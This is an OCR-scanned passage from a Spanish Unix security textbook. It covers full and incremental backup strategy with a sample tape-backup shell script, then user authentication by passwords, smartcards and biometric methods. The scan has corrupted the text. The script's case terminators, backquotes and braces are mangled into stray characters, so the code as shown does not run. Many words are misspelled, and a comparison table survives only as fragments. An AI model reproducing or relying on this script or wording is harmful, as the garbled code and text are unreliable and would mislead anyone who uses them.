restaurar ficheros en algunas situaciones: si nos hemos limitado a copiar una serie de directories a 
otro disco y necesitamos restaurar cierto archivo, no tenemos mas que montar el disco de backup y 
copiar el fichero solicitado a su ubicacion original. 

Sin embargo, las copias completas presentan graves inconvenientes; uno de ellos es la dificultad 
para restaurar ficheros si utilizamos multiples dispositivos de copia de seguridad (por ejemplo, va- 
rias cintas). Otro inconveniente, mas importante, de las copias de nivel 0 es la cantidad de recursos 
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que consumen, tanto en tiempo como en hardware, para solucionar el problema de la cantidad de 
recursos utilizados aparece el concepto de copia de seguridad incremental. Un backup incremental 
o progresivo consiste en copiar solamente los archivos que han cambiado desde la realization de 
otra copia (incremental o total). Por ejemplo, si hace una semana realizamos un backup de nivel 
0 en nuestro sistema y deseamos una copia incremental con respecto a el, hemos de guardar los 
ficheros modificados en los ultimos siete dias (copia de nivel 1); podemos localizar estos ficheros con 
la orden find: 

anita:~# find /export/home/ -mtime 7 -print 

Si hace un dfa ya realizamos una copia incremental y ahora queremos hacer otra copia progresiva 
con respecto a ella, hemos de almacenar linicamente los archivos modificados en las ultimas 24 
horas (copia de nivel 2); como antes, podemos utilizar find para localizar los archivos modificados 
en este intervalo de tiempo: 

anita:~# find /export/home/ -mtime 1 -print 

Esta polftica de realizar copias de seguridad sobre la ultima progresiva se denomina de copia de 
seguridad diferencial. 

La principal ventaja de las copias progresivas es que requieren menos tiempo para ser realizadas 
y menos capacidad de almacenamiento que las completas; sin embargo, como clesventajas tenemos 
que la restauracion de ficheros puede ser mas compleja que con las copias de nivel 0, y tambien 
que un solo fallo en uno de los dispositivos de almacenamiento puede provocar la perdida de gran 
cantidad de archivos; para restaurar completamente un sistema, debemos restaurar la copia mas 
reciente de cada nivel, en orden, comenzando por la de nivel 0. De esta forma, parece logico que la 
estrategia seguida sea un termino medio entre las vistas aquf, una polftica de copias de seguridad 
que mezcle el enfoque completo y el progresivo: una estrategia muy habitual, tanto por su simpleza 
como porque no requiere mucho hardware consiste en realizar periodicamente copias de seguridad 
de nivel 0, y entre ellas realizar ciertas copias progresivas de nivel 1. Por ejemplo, imaginemos un 
departamento que decide realizar cada domingo una copia de seguridad completa de sus directories 
de usuario y de /etc/, y una progresiva sobre ella, pero solo de los directories de usuario, cada dfa 
lectivo de la semana. Un shellscript que realize esta tarea puede ser el siguiente: 

# ! /bin/ sh 

DIA='date +7 n a' # Dia de la semana 

DIREC="/tmp/backup/" # Un directorio para hacer el backup 

hazback () { 
cd $DIREC 

tar cf backup. tar $FILES 
compress backup. tar 
dd if=backup.tar .Z of=/dev/rmt/0 
rm -f backup. tar. Z 

> 

if [ ! -d $DIREC ] ; 
then 

# No existe $DIREC 
mkdir -p $DIREC 

chmod 700 $DIREC # Por seguridad 

else 

rm -rf $DIREC 
mkdir -p $DIREC 
chmod 700 $DIREC 

fi; 
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case $DIA in 
"Mon") 

# Lunes, progresiva 

FILES='find /export/home/ -mtime 1 -print' 
hazback 
> > 

"Tue") 

# Martes, progresiva 

FILES='find /export/home/ -mtime 2 -print' 
hazback 

f i 

"Wed") 

# Miercoles, progresiva 

FILES='find /export/home/ -mtime 3 -print' 
hazback 

> i 

"Thu") 

# Jueves, progresiva 

FILES='find /export/home/ -mtime 4 -print' 
hazback 

> > 

"Fri") 

# Viernes, progresiva 

FILES='find /export/home/ -mtime 5 -print' 
hazback 

f > 

"Sat") 

# Sabado, descansamos . . . 

t > 

"Sun") 

# Domingo, copia completa de /export/home y /etc 
FILES="/export/home/ /etc/" 

hazback 


esac 

Este programa determina el di'a de la semana y en funcion de el realiza - o no, si es sabado - 
una copia de los ficheros correspondientes (notese el uso de las comillas inversas en la orden f ind) . 
Podriamos automatizarlo mediante la facilidad cron de nuestro sistema para que se ejecute, por 
ejemplo, cada dia a las tres del mediodia (una hora en la que la actividad del sistema no sera muy 
alta); de esta forma, como administradores, solo deberiamos preocuparnos por cambiar las cintas 
cada dia, y dejar una preparada para el fin de semana. Si decidimos planificarlo para que se ejecute 
de madrugada, hemos de tener en cuenta que el backup de un lunes de madrugada, antes de llegar 
al trabajo, puede sobreescribir el complete, realizado el domingo de madrugada, por lo que habria 
que modificar el shellscript, tambien hemos de estar atentos a situaciones inesperadas, como que no 
existan archivos a copiar o que nuestro sistema no disponga del suficiente disco duro para almacenar 
temporalmente la copia. 

El medio de almacenamiento tambien es importante a la hora de disehar una politica de copias 
de seguridad correcta. Si se trata de dispositivos baratos, como los CD-ROMs, no suele haber 
muchos problemas: para cada volcado (sea del tipo que sea) se utiliza una unidad diferente, uni- 
dad que ademas no se suele volver a utilizar a no ser que se necesite recuperar los datos; el uso 
de unidades regrabables en este caso es minoritario y poco recomendable, por lo que no vamos a 
entrar en el. No obstante, algo muy diferente son los medios de almacenamiento mas caros, gene- 
ralmente las cintas magneticas; al ser ahora el precio algo a tener mas en cuenta, lo habitual es 
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reutilizar unidades, sobreescribir las copias de seguridad mas antiguas con otras mas actualizadas. 
Esto puede llegar a convertirse en un grave problema si por cualquier motivo reutilizamos cintas 
de las que necesitamos recuperar informacion; aparte del desgaste fisico del medio, podemos llegar 
a extremos en los que se pierda toda la informacion guardada: imaginemos, por ejemplo, que solo 
utilizamos una cinta de 8mm. para crear backups del sistema: aunque habitualmente todo funcione 
correctamente (se cumple de forma estricta la politica de copias, se verifican, se almacenan en un 
lugar seguro. . . puede darse el caso de que durante el proceso de copia se produzca un incendio en 
la sala de operaciones, incendio que clestruira tanto nuestro sistema como la cinta donde guardamos 
su backup , con lo que habremos perdido toda nuestra informacion. Aunque este es un ejemplo 
quizas algo extremo, podemos pensar en lugares donde se utilicen de forma incorrecta varios juegos 
de copias o en situaciones en las que el sistema se corrompe (no ha de tratarse necesariamente de 
algo tan poco frecuente como un incendio, sino que se puede tratar de un simple corte de fluido 
electrico que dane los discos); debemos asegurarnos siempre de que podremos recuperar con una 
probabilidad alta la ultima copia de seguridad realizada sobre cada archivo importante de nuestro 
sistema, especialmente sobre las bases de datos. 



Capitulo 8 

Autenticacion de usuarios 


8.1 Introduction y conceptos basicos 

Ya sabemos que unos requerimientos primordiales de los sistemas informaticos que desempenan 
tareas importantes son los mecanismo de seguridad adecuados a la information que se intenta pro- 
teger; el conjunto de tales mecanismos ha de incluir al menos un sistema que permita identificar 
a las entidades (elementos activos del sistema, generalmente usuarios) que intentan acceder a los 
objetos (elementos pasivos, como ficheros o capacidad de computo), mediante procesos tan simples 
como una contraseha o tan complejos como un dispositivo analizador de patrones retinales. 

Los sistemas que habitualmente utilizamos los humanos para identificar a una persona, como el 
aspecto fisico o la forma de hablar, son demasiado complejos para una computadora; el objetivo de 
los sistemas de identification de usuarios no suele ser identificar a una persona, sino autenticar 
que esa persona es quien dice ser realmente. Aunque como humanos seguramente ambos terminos 
nos pareceran equivalentes, para un ordenador existe una gran diferencia entre ellos: imaginemos 
un potential sistema de identification estrictamente hablando, por ejemplo uno biometrico basado 
en el reconocimiento de la retina; una persona miraria a traves del dispositivo lector, y el sistema 
seria capaz de clecidir si es un usuario valido, y en ese caso decir de quien se trata; esto es identifica- 
tion. Sin embargo, lo que habitualmente hace el usuario es introducir su identidad (un numero, un 
nombre de usuario. . . ) ademas de mostrar sus retinas ante el lector; el sistema en este caso no tiene 
que identificar a esa persona, sino autenticarlo: comprobar los parametros de la retina que esta 
leyendo con los guardados en una base de datos para el usuario que la persona dice ser: estamos 
reduciendo el problema de una poblacion potencialmente muy elevada a un grupo de usuarios mas 
reducido, el grupo de usuarios del sistema que necesita autenticarlos. 

Los metodos de autenticacion se suelen dividir en tres grandes categories ([DP84], [Eve92]), en 
funcion de lo que utilizan para la verification de identidad: (a) algo que el usuario sabe, (b) algo 
que este posee, y (c) una caracteristica fisica del usuario o un acto involuntario del mismo. Esta 
ultima categoria se conoce con el nombre de autenticacion biometrica. Es facil ver ejemplos 
de cada uno de estos tipos de autenticacion: un password (Unix) o passphrase (pgp) es algo que 
el usuario conoce y el resto de personas no, una tarjeta de identidad es algo que el usuario lleva 
consigo, la huella dactilar es una caracteristica ffsica del usuario, y un acto involuntario podria 
considerarse que se produce al firmar (al rubricar la firma no se piensa en el diseno de cada trazo 
individualmente) . Por supuesto, un sistema de autenticacion puede (y debe, para incrementar su 
fiabilidad) combinar mecanismos de diferente tipo, como en el caso de una tarjeta de credito junto 
al PIN a la hora de utilizar un cajero automatico o en el de un dispositivo generador de claves para 
el uso de One Time Passwords. 

Cualquier sistema de identification (aunque les llamemos asf, recordemos que realmente son siste- 
mas de autenticacion) ha de poseer unas determinadas caracteristicas para ser viable; obviamente, 
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ha de ser fiable con una probabilidad muy elevada (podemos hablar de tasas de fallo de 10 -4 en los 
sistemas menos seguros), economicamente factible para la organization (si su precio es superior al 
valor de lo que se intenta proteger, tenemos un sistema incorrecto) y ha de soportar con exito cierto 
tipo de ataques (por ejemplo, imaginemos que cualquier usuario puede descifrar el password utili- 
zado en el sistema de autenticacion de Unix en tiempo polinomial; esto seria inaceptable) . Aparte 
de estas caracterfsticas tenemos otra, no tecnica sino humana, pero quizas la mas importante: un 
sistema de autenticacion ha de ser aceptable para los usuarios ([Tan91]), que seran al fin y al cabo 
quienes lo utilicen. Por ejemplo, imaginemos un potential sistema de identification para acceder a 
los recursos de la Universidad, consistente en un dispositivo que fuera capaz de realizar un analisis 
de sangre a un usuario y asf comprobar que es quien dice ser; seguramente seria barato y altamente 
fiable, pero nadie aceptaria dar un poco de sangre cada vez que desee consultar su correo. 

8.2 Sistemas basados en algo conocido: contrasenas 

El modelo de autenticacion mas basico consiste en decidir si un usuario es quien dice ser simplemen- 
te basandonos en una prueba de conocimiento que a priori solo ese usuario puede superar; y desde 
Ah Baba y su Abrete, Sesamo ’ hasta los mas modernos sistemas Unix, esa prueba de conocimiento 
no es mas que una contrasena que en principio es secreta. Evidentemente, esta aproximacion es 
la mas vulnerable a todo tipo de ataques, pero tambien la mas barata, por lo que se convierte 
en la tecnica mas utilizada en entornos que no precisan de una alta seguridad, como es el caso 
de los sistemas Unix en redes normales (y en general en todos los sistemas operativos en redes de 
seguridad media-baja); otros entornos en los que se suele aplicar este modelo de autenticacion son 
las aplicaciones que requieren de alguna identification de usuarios, como el software de cifrado PGP 
o el escaner de seguridad NESSUS. Tambien se utiliza como complemento a otros mecanismos de 
autenticacion, por ejemplo en el caso del Niimero de Identification Personal (PIN) a la hora de 
utilizar cajeros automaticos. 

En todos los esquemas de autenticacion basados en contrasenas se cumple el mismo protocolo: 
las entidades (generalmente clos) que participan en la autenticacion acuerdan una clave, clave que 
lian de mantener en secreto si desean que la autenticacion sea fiable. Cuando una de las partes 
desea autenticarse ante otra se limita a mostrarle su conocimiento de esa clave comiin, y si esta es 
correcta se otorga el acceso a un recurso. Lo habitual es que existan unos roles preestablecidos, con 
una entidad activa que desea autenticarse y otra pasiva que admite o rechaza a la anterior (en el 
modelo del acceso a sistemas Unix, tenemos al usuario y al sistema que le permite o niega la entrada) . 

Como hemos dicho, este esquema es muy fragil: basta con que una de las partes no mantenga 
la contrasena en secreto para que toda la seguridad del modelo se pierda; por ejemplo, si el usuario 
de una maquina Unix comparte su clave con un tercero, o si ese tercero consigue leerla y rompe su 
cifrado (por ejemplo, como veremos luego, mediante un ataque de diccionario) , automaticamente 
esa persona puede autenticarse ante el sistema con exito con la identidad de un usuario que no le 
corresponde. 

En el punto 8.5 hablaremos con mas cletalle del uso de contrasenas para el caso de la autenti- 
cacion de usuarios en Unix. 


8.3 Sistemas basados en algo poseido: tarjetas inteligentes 

Hace mas de veinte anos un periodista frances llamado Roland Moreno patentaba la integration de 
un procesador en una tarjeta de plastico; sin duda, no podia imaginar el abanico de aplicaciones 
de seguridad que ese nuevo dispositivo, clenominado chipcard, estaba abriendo. Desde entonces, 
cientos de millones de esas tarjetas han sido fabricadas, y son utilizadas a diario para fines que 
varfan desde las tarjetas monedero mas sencillas hasta el control de accesos a instalaciones militares 
y agencias de inteligencia de todo el mundo; cuando a las chipcards se les incorporo un procesador 
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Figura 8.1: Estructura generica de una smartcard. 


inteligente nacieron las smartcards, una gran revolution en el ambito de la autenticacion de usuarios. 

Desde un punto de vista formal ([GUQ92]), una tarjeta inteligente (o smartcard) es un dispositivo 
de seguridad del tamaiio de una tarjeta de credito, resistente a la adulteration, que ofrece funciones 
para un almacenamiento seguro de informacion y tambien para el procesamiento de la misma en ba- 
se a tecnologia VLSI. En la practica, las tarjetas inteligentes poseen un chip empotrado en la propia 
tarjeta que puede implementar un sistema de ficheros cifrado y funciones criptograficas, y ademas 
puede detectar activamente intentos no validos de acceso a la informacion almacenada ([MA94]); 
este chip inteligente es el que las diferencia de las simples tarjetas de credito, que solamente incor- 
poran una banda magnetica donde va almacenada cierta informacion del propietario de la tarjeta. 

En la figura 8.1 se muestra la estructura mas generalista de una tarjeta inteligente; en ella pode- 
mos observar que el acceso a las areas de memoria solamente es posible a traves de la unidad de 
entrada/salida y de una CPU (tipicamente de 8 bits), lo que evidentemente aumenta la seguridad 
del dispositivo. Existe tambien un sistema operativo empotrado en la tarjeta - generalmente en 
ROM, aunque tambien se puede extender con funciones en la EEPROM - cuya funcion es realizar 
tareas criptograficas (algoritmos de cifrado como RSA o Triple DES, funciones resumen. ..); el 
criptoprocesador apoya estas tareas ofreciendo operaciones RSA con claves de 512 a 1024 bits. Un 
ejemplo de implementation real de este esquema lo constituye la tarjeta inteligente CERES, de la 
Fabrica National de Moneda y Timbre espahola ( [PitOO] ) ; en ella se incluye ademas un generador 
de numeros aleatorios junto a los mecanismos de protection internos de la tarjeta. 

Cuando el usuario poseedor de una smartcard desea autenticarse necesita introducir la tarjeta 
en un hardware lector; los dos dispositivos se identifican entre si con un protocolo a dos bandas 
en el que es necesario que ambos conozcan la misma clave (CK o CCK, Company Key o Chipcard 
Communication Key), lo que elimina la posibilidad de utilizar tarjetas de terceros para autenticarse 
ante el lector de una determinada compahia; ademas esta clave puede utilizarse para asegurar la 
comunicacion entre la tarjeta y el dispositivo lector. Tras identificarse las dos partes, se lee la iden- 
tification personal (PID) de la tarjeta, y el usuario teclea su PIN; se inicia entonces un protocolo 
desafio-respuesta: se envia el PID a la maquina y esta desafia a la tarjeta, que responde al desafio 
utilizando una clave personal del usuario (PK, Personal Key). Si la respuesta es correcta, el host 
ha identificado la tarjeta y el usuario obtiene acceso al recurso pretendido. 

Las ventajas de utilizar tarjetas inteligentes como medio para autenticar usuarios son muchas frente 
a las clesventajas; se trata de un modelo ampliamente aceptado entre los usuarios, rapido, y que 
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incorpora hardware de alta seguridad tanto para almacenar clatos como para realizar funciones de 
cifrado. Ademas, su uso es factible tanto para controles de acceso ffsico como para controles de 
acceso logico a los hosts, y se integra facilmente con otros mecanismos de autenticacion como las 
contraseiias; y en caso de clesear bloquear el acceso de un usuario, no tenemos mas que retener 
su tarjeta cuando la introduzca en el lector o marcarla como invalida en una base de datos (por 
ejemplo, si se equivoca varias veces al teclar su PIN, igual que sucede con una tarjeta de credito 
normal). Como principal inconveniente de las smartcards podemos citar el coste adicional que su- 
pone para una organization el comprar y configurar la infraestructura de dispositivos lectores y las 
propias tarjetas; aparte, que un usuario pierda su tarjeta es bastante facil, y durante el tiempo que 
no disponga de ella o no puede acceder al sistema, o hemos de establecer reglas especiales que pue- 
den comprometer nuestra seguridad (y por supuesto se ha de marcar como tarjeta invalida en una 
base de datos central, para que un potencial atacante no pueda utilizarla). Tambien la distancia 
logica entre la smartcard y su poseedor - simplemente nos podemos fijar en que la tarjeta no tiene 
un interfaz para el usuario - puede ser fuente de varios problemas de seguridad ([BF99], [GSTY96]). 

Aparte de los problemas que puede implicar el uso de smartcards en si, contra la logica de una 
tarjeta inteligente existen diversos metodos de ataque, como realizar ingenierfa inversa - destructi- 
va - contra el circuito de silicio (y los contenidos de la ROM), adulterar la information guardada 
en la tarjeta o determinar por diferentes metodos el contenido de la memoria EEPROM. Sin duda 
una de las personas que mas ha contribuido a incrementar la seguridad de las smartcards gracias a 
sus estudios y ataques es el experto britanico Ross J. Anderson ([And97], [AK96]. . . ); en su pagina 
web personal, http://www.cl.cam.ac.uk/users/rjal4/, podemos encontrar todos sus articulos 
sobre este tenia 1 , clemasiados como para citarlos aqui uno a uno. 


8.4 Sistemas de autenticacion biometrica 

A pesar de la importancia de la criptologia en cualquiera de los sistemas de identificacion de usuarios 
vistos, existen otra clase de sistemas en los que no se aplica esta ciencia, o al menos su aplicacion 
es secundaria. Es mas, parece que en un futuro no muy lejano estos seran los sistemas que se van 
a imponer en la mayoria de situaciones en las que se haga necesario autenticar un usuario: son 
mas amigables para el usuario (no va a necesitar recordar passwords o numeros de identificacion 
complejos, y, como se suele clecir, el usuario puede olvidar una tarjeta de identificacion en casa, 
pero nunca se olvidara de su mano o su ojo) y son mucho mas dificiles de falsificar que una simple 
contrasena o una tarjeta magnetica; las principals razones por la que no se han impuesto ya en 
nuestros dias es su elevado precio, fuera del alcance de muchas organizaciones, y su dificultad de 
mantenimiento ([GKK97]). 

Estos sistemas son los denominados biometricos, basados en caracterfsticas fisicas del usuario 
a identificar. El reconocimiento de formas, la inteligencia artificial y el aprendizaje son las ra- 
mas de la informatica que desempenan el papel mas import ante en los sistemas de identificacion 
biometricos; la criptologia se limita aqui a un uso secundario, como el cifrado de una base de datos 
de patrones retinales, o la transmision de una huella dactilar entre un dispositivo analizador y una 
base de datos. La autenticacion basada en caracterfsticas fisicas existe desde que existe el hombre 
y, sin darnos cuenta, es la que mas utiliza cualquiera de nosotros en su vida cotidiana: a diario 
identificamos a personas por los rasgos de su cara o por su voz. Obviamente aqui el agente recono- 
cedor lo tiene facil porque es una persona, pero en el modelo aplicable a redes o sistemas Unix el 
agente ha de ser un dispositivo que, basandose en caracterfsticas del sujeto a identificar, le permita 
o deniegue acceso a un determinado recurso. 

Aunque la autenticacion de usuarios mediante metodos biometricos es posible utilizando cualquier 
caracteristica unica y mesurable del individuo (esto incluye desde la forma de teclear ante un or- 
denador hasta los patrones de ciertas venas, pasando por el olor corporal), tradicionalmente ha 

1 Y sobre otros, principalmente esteganografia y criptografi'a. 
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Instalaciones 

nucleares, 

servicios 

medicos, 

centres pe- 

nitenciarios 

Politia, in- 
dustrial 

General 

Industrial 

Accesos remo- 
tos en bancos 
o bases de da- 
tos 
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5000 
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Tabla 8.1: Comparacion de metodos biometricos. 
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estado basada en cinco grandes grupos ([Eve92]). En la tabla 8.1 ([Huo98], [Phi97]) se muestra una 
comparativa de sus rasgos mas generales, que vamos a ver con mas detalle en los puntos siguientes. 

Los dispositivos biometricos tienen tres partes principales; por un lado, disponen de un meca- 
nismo automatico que lee y captura una imagen digital o analogica de la caracteristica a analizar. 
Ademas disponen de una entidad para manejar aspectos como la compresion, almacenamiento o 
comparacion de los datos capturados con los guardados en una base de datos (que son considerados 
validos), y tambien ofrecen una interfaz para las aplicaciones que los utilizan. El proceso general de 
autenticacion sigue unos pasos comunes a todos los modelos de autenticacion biometrica: captura 
o lectura de los datos que el usuario a validar presenta, extraccion de ciertas caracteristicas de la 
muestra (por ejemplo, las minucias de una huella dactilar), comparacion de tales caracteristicas 
con las guardadas en una base de datos, y decision de si el usuario es valido o no. Es en esta 
decision donde principalmente entran en juego las dos caracteristicas basicas de la fiabilidad de 
todo sistema biometrico (en general, de todo sistema de autenticacion): las tasas de falso recha- 
zo y de falsa aceptacion. Por tasa de falso rechazo ( False Rejection Rate , FRR) se entiende la 
probabilidad de que el sistema de autenticacion rechaze a un usuario legitimo porque no es capaz 
de identificarlo correctamente, y por tasa de falsa aceptacion ( False Acceptance Rate, FAR) la 
probabilidad de que el sistema autentique correctamente a un usuario ilegitimo; evidentemente, 
una FRR alta provoca descontento entre los usuarios del sistema, pero una FAR elevada genera un 
grave problema de seguridad: estamos proporcionando acceso a un recurso a personal no autorizado 
a acceder a el. 

Por ultimo, y antes de entrar mas a fondo con los esquemas de autenticacion biometrica clasicos, 
quizas es conveniente desmentir uno de los grandes mitos de estos modelos: la vulnerabilidad a 
ataques de simulation. En cualquier pelicula o libro de espias que se precie, siempre se consigue 
‘enganar’ a autenticadores biometricos para conseguir acceso a determinadas instalaciones mediante 
estos ataques: se Simula la parte del cuerpo a analizar mediante un modelo o incluso utilizando 
organos amputados a un cadaver o al propio usuario vivo (crudamente, se le corta una mano o 
un dedo, se le saca un ojo. . .para conseguir que el sistema permita la entrada). Evidentemente, 
esto solo sucede en la fiction: hoy en dia cualquier sistema biometrico - con exception, quizas, 
de algunos modelos basados en voz de los que hablaremos luego - son altamente inmunes a estos 
ataques. Los analizadores de retina, de iris, de huellas o de la geometria de la mano son capaces, 
aparte de decidir si el miembro pertenece al usuario legitimo, de determinar si este esta vivo o se 
trata de un cadaver. 

8.4.1 Verificacion de voz 

En los sistemas de reconocimiento de voz no se intenta, como mucha gente piensa, reconocer lo que 
el usuario dice, sino identificar una serie de sonidos y sus caracteristicas para decidir si el usuario es 
quien dice ser. Para autenticar a un usuario utilizando un reconocedor de voz se clebe disponer de 
ciertas condiciones para el correcto registro de los datos, como ausencia de ruidos, reverberaciones 
o ecos; idealmente, estas condiciones han de ser las mismas siempre que se necesite la autenticacion. 

Cuando un usuario clesea acceder al sistema pronunciara unas frases en las cuales reside gran parte 
de la seguridad del protocolo; en algunos modelos, los denominados de texto dependiente, el sistema 
tiene almacenadas un conjunto muy limitado de frases que es capaz de reconocer: por ejemplo, ima- 
ginemos que el usuario se limita a pronunciar su nombre, de forma que el reconocedor lo entienda y lo 
autentique. Como veremos a continuation, estos modelos proporcionan poca seguridad en compara- 
cion con los de texto independiente, donde el sistema va ‘proponiendo’ a la persona la pronunciation 
de ciertas palabras extraidas de un conjunto bastante grande. De cualquier forma, sea cual sea el 
modelo, lo habitual es que las frases o palabras sean caracteristicas para maximizar la cantidad de 
datos que se pueden analizar (por ejemplo, frases con una cierta entonacion, pronunciation de los 
diptongos, palabras con muchas vocales. . . ). Conforme va hablando el usuario, el sistema registra 
toda la information que le es util; cuando termina la frase, ya ha de estar en disposition de facilitar 
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o denegar el acceso, en funcion de la information analizada y contrastada con la de la base de datos. 


El principal problema del reconocimiento de voz es la inmunidad frente a replay attacks , un mo- 
delo de ataques de simulation en los que un atacante reproduce (por ejemplo, por medio de un 
magnetofono) las frases o palabras que el usuario legftimo pronuncia para acceder al sistema. Este 
problema es especialmente grave en los sistemas que se basan en textos preestablecidos: volviendo 
al ejemplo anterior, el del nombre de cada usuario, un atacante no tendria mas que grabar a una 
persona que pronuncia su nombre ante el autenticador y luego reproducir ese sonido para conseguir 
el acceso; casi la unica solucion consiste en utilizar otro sistema de autenticacion junto al reconoci- 
miento de voz. Por contra, en modelos de texto independiente, mas interactivos, este ataque no es 
tan sencillo porque la autenticacion se produce realmente por una especie de desaffo-respuesta entre 
el usuario y la maquina, de forma que la cantidad de texto grabado habrfa de ser mucho mayor - y 
la velocidad para localizar la parte del texto que el sistema propone habrfa de ser elevada Otro 
grave problema de los sistemas basados en reconocimiento de voz es el tiempo que el usuario emplea 
hablando delante del analizador, al que se ahade el que este necesita para extraer la information y 
contrastarla con la de su base de datos; aunque actualmente en la mayorfa de sistemas basta con 
una sola frase, es habitual que el usuario se vea obligado a repetirla porque el sistema le cleniega el 
acceso (una simple congestion hace variar el tono de voz, aunque sea levemente, y el sistema no es 
capaz de decidir si el acceso ha de ser autorizado o no; incluso el estado anfmico de una persona 
varfa su timbre. . . ). A su favor, el reconocimiento de voz posee la cualidad de una excelente acogida 
entre los usuarios, siempre y cuando su funcionamiento sea correcto y estos no se vean obligados a 
repetir lo mismo varias veces, o se les niegue un acceso porque no se les reconoce correctamente. 


8.4.2 Verificacion de escritura 

Aunque la escritura (generalmente la firma) no es una caracterfstica estrictamente biometrica, co- 
mo hemos comentado en la introduction se suele agrupar dentro de esta categorfa; de la misma 
forma que sucedfa en la verificacion de la voz, el objetivo aquf no es interpretar o entender lo que 
el usuario escribe en el lector, sino autenticarlo basandose en ciertos rasgos tanto de la firma como 
de su rubrica. 

La verificacion en base a firmas es algo que todos utilizamos y aceptamos dfa a dfa en documentos 
o cheques; no obstante, existe una diferencia fundamental entre el uso de las firmas que hacemos 
en nuestra vida cotidiana y los sistemas biometricos; mientras que habitualmente la verificacion de 
la firma consiste en un simple analisis visual sobre una impresion en papel, estatica, en los sistemas 
automaticos no es posible autenticar usuarios en base a la representation de los trazos de su firma. 
En los modelos biometricos se utiliza ademas la forma de firmar, las caracterfsticas dinamicas (por 
eso se les suele denominar Dynamic Signature Verification, DSV): el tiempo utilizado para rubricar, 
las veces que se separa el bolfgrafo del papel, el angulo con que se realiza cada trazo. . . 

Para utilizar un sistema de autenticacion basado en firmas se solicita en primer lugar a los futures 
usuarios un numero determinado de firmas ejemplo, de las cuales el sistema extrae y almacena 
ciertas caracterfsticas; esta etapa se denomina de aprendizaje, y el principal obstaculo a su correcta 
ej ecucion son los usuarios que no suelen firmar uniformemente. Contra este problema la unica 
solucion (aparte de una concienciacion de tales usuarios) es relajar las restricciones del sistema a 
la hora de aprender firmas, con lo que se decrementa su seguridad. 

Una vez que el sistema conoce las firmas de sus usuarios, cuando estos desean acceder a el se 
les solicita tal firma, con un numero limitado de intentos (generalmente mas que los sistemas que 
autentican mediante contrasehas, ya que la firma puede variar en un individuo por multiples fac- 
tores). La firma introducida es capturada por un lapiz optico o por una lectora sensible (o por 
ambos), y el acceso al sistema se produce una vez que el usuario ha introducido una firma que el 
verificador es capaz de distinguir como autentica. 




Figura 8.2: Huella dactilar con sus minucias extraidas. ©1998 Idex AS, http://www.idex.no/. 


8.4.3 Verificacion de huellas 

Tipicamente la huella dactilar de un individuo ha sido un patron bastante bueno para determinar su 
identidad de forma inequivoca, ya que esta aceptado que dos dedos nunca poseen huellas similares, 
ni siquiera entre gemelos o entre dedos de la misma persona. Por tanto, parece obvio que las huellas 
se convertirian antes o despues en un modelo de autenticacion biometrico: desde el siglo pasado 
hasta nuestros dias se vienen realizando con exito clasificaciones sistematicas de huellas dactilares 
en entornos policiales, y el uso de estos patrones fue uno de los primeros en establecerse como 
modelo de autenticacion biometrica. 

Cuando un usuario desea autenticarse ante el sistema situa su dedo en un area determinada (area de 
lectura, no se necesita en ningiin momento una impresion en tinta) . Aqui se toma una imagen que 
posteriormente se normaliza mediante un sistema de finos espejos 2 para corregir angulos, y es de 
esta imagen normalizada de la que el sistema extrae las minucias (ciertos arcos, bucles o remolinos 
de la huella) que va a comparar contra las que tiene en su base de datos; es importante resaltar que 
lo que el sistema es capaz de analizar no es la huella en si sino que son estas minucias, concretamente 
la posicion relativa de cada una de ellas. Esta demostrado que dos dedos nunca pueden poseer mas 
de ocho minucias comunes, y cada uno tiene al menos 30 o 40 de estas (en la figura 8.2 podemos 
ver una imagen de una huella digitalizada con sus minucias). Si la comparacion de las posiciones 
relativas de las minucias leidas con las almacenadas en la base de datos es correcta, se permite el 
acceso al usuario, denegandosele obviamente en caso contrario. 

2 Existen otros metodos para obtener una imagen de la huella, como la representacion termica, pero su uso es 
menos habitual - principalmente por el precio de los lectores — . 
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Los sistemas basados en reconocimiento de huellas son relativamente baratos (en comparacion 
con otros biometricos, como los basados en patrones retinales); sin embargo, tienen en su contra 
la incapacidad temporal de autenticar usuarios que se hayan podido herir en el cledo a reconocer 
(un pequeiio corte o una quemadura que afecte a varias minucias pueden hacer inutil al sistema). 
Tambien elementos como la suciedad del dedo, la presion ejercida sobre el lector o el estado de la 
piel pueden ocasionar lecturas erroneas. Otro factor a tener muy en cuenta contra estos sistemas es 
psicologico, no tecnico: hemos dicho en la introduction que un sistema de autenticacion de usuarios 
ha de ser aceptable por los mismos, y generalmente el reconocimiento de huellas se asocia a los 
criminales, por lo que muchos usuarios recelan del reconocedor y de su uso ([vKPG97]). 

8.4.4 Verificacion de patrones oculares 

Los modelos de autenticacion biometrica basados en patrones oculares se dividen en dos tecnologfas 
diferentes: o bien analizan patrones retinales, o bien analizan el iris. Estos metodos se suelen consi- 
derar los mas efectivos: para una poblacion de 200 millones de potenciales usuarios la probabilidad 
de coincidencia es casi 0, y ademas una vez muerto el individuo los tejidos oculares degeneran 
rapidamente, lo que dificulta la falsa aceptacion de atacantes que puedan robar este organo de un 
cadaver. 

La principal desventaja de los metodos basados en el analisis de patrones oculares es su escasa 
aceptacion; el hecho de mirar a traves de un binocular (o monocular) , necesario en ambos modelos, 
no es comodo para los usuarios, ni aceptable para muchos de ellos: por un lado, los usuarios no se 
fian de un haz de rayos analizando su ojo 3 , y por otro un examen de este organo puede revelar enfer- 
medades o caracteristicas medicas que a muchas personas les puede interesar mantener en secreto, 
como el consumo de alcohol o de ciertas clrogas. Aunque los fabricantes de dispositivos lectores 
aseguran que solo se analiza el ojo para obtener patrones relacionados con la autenticacion, y en 
ningiin caso se viola la privacidad de los usuarios, mucha gente no cree esta postura oficial (aparte 
del hecho de que la information es procesada via software , lo que facilita introducir modificaciones 
sobre lo que nos han vendido para que un lector realice otras tareas de forma enmascarada) . Por 
si esto fuera poco, se trata de sistemas clemasiado caros para la mayoria de organizations, y el 
proceso de autenticacion no es todo lo rapido que debiera en poblaciones de usuarios elevadas. De 
esta forma, su uso se ve reducido casi solo a la identification en sistemas de alta seguridad, como 
el control de acceso a instalaciones militares. 

Retina 

La vasculatura retinal (forma de los vasos sanguineos de la retina humana) es un elemento ca- 
racteristico de cada individuo, por lo que numerosos estudios en el campo de la autenticacion de 
usuarios se basan en el reconocimiento de esta vasculatura. 

En los sistemas de autenticacion basados en patrones retinales el usuario a identificar ha de mirar 
a traves de unos binoculares, ajustar la distancia interocular y el movimiento de la cabeza, mirar 
a un punto determinado y por ultimo pulsar un boton para indicar al dispositivo que se encuentra 
listo para el analisis. En ese momento se escanea la retina con una radiation infrarroja de baja 
intensidad en forma de espiral, detectando los nodos y ramas del area retinal para compararlos con 
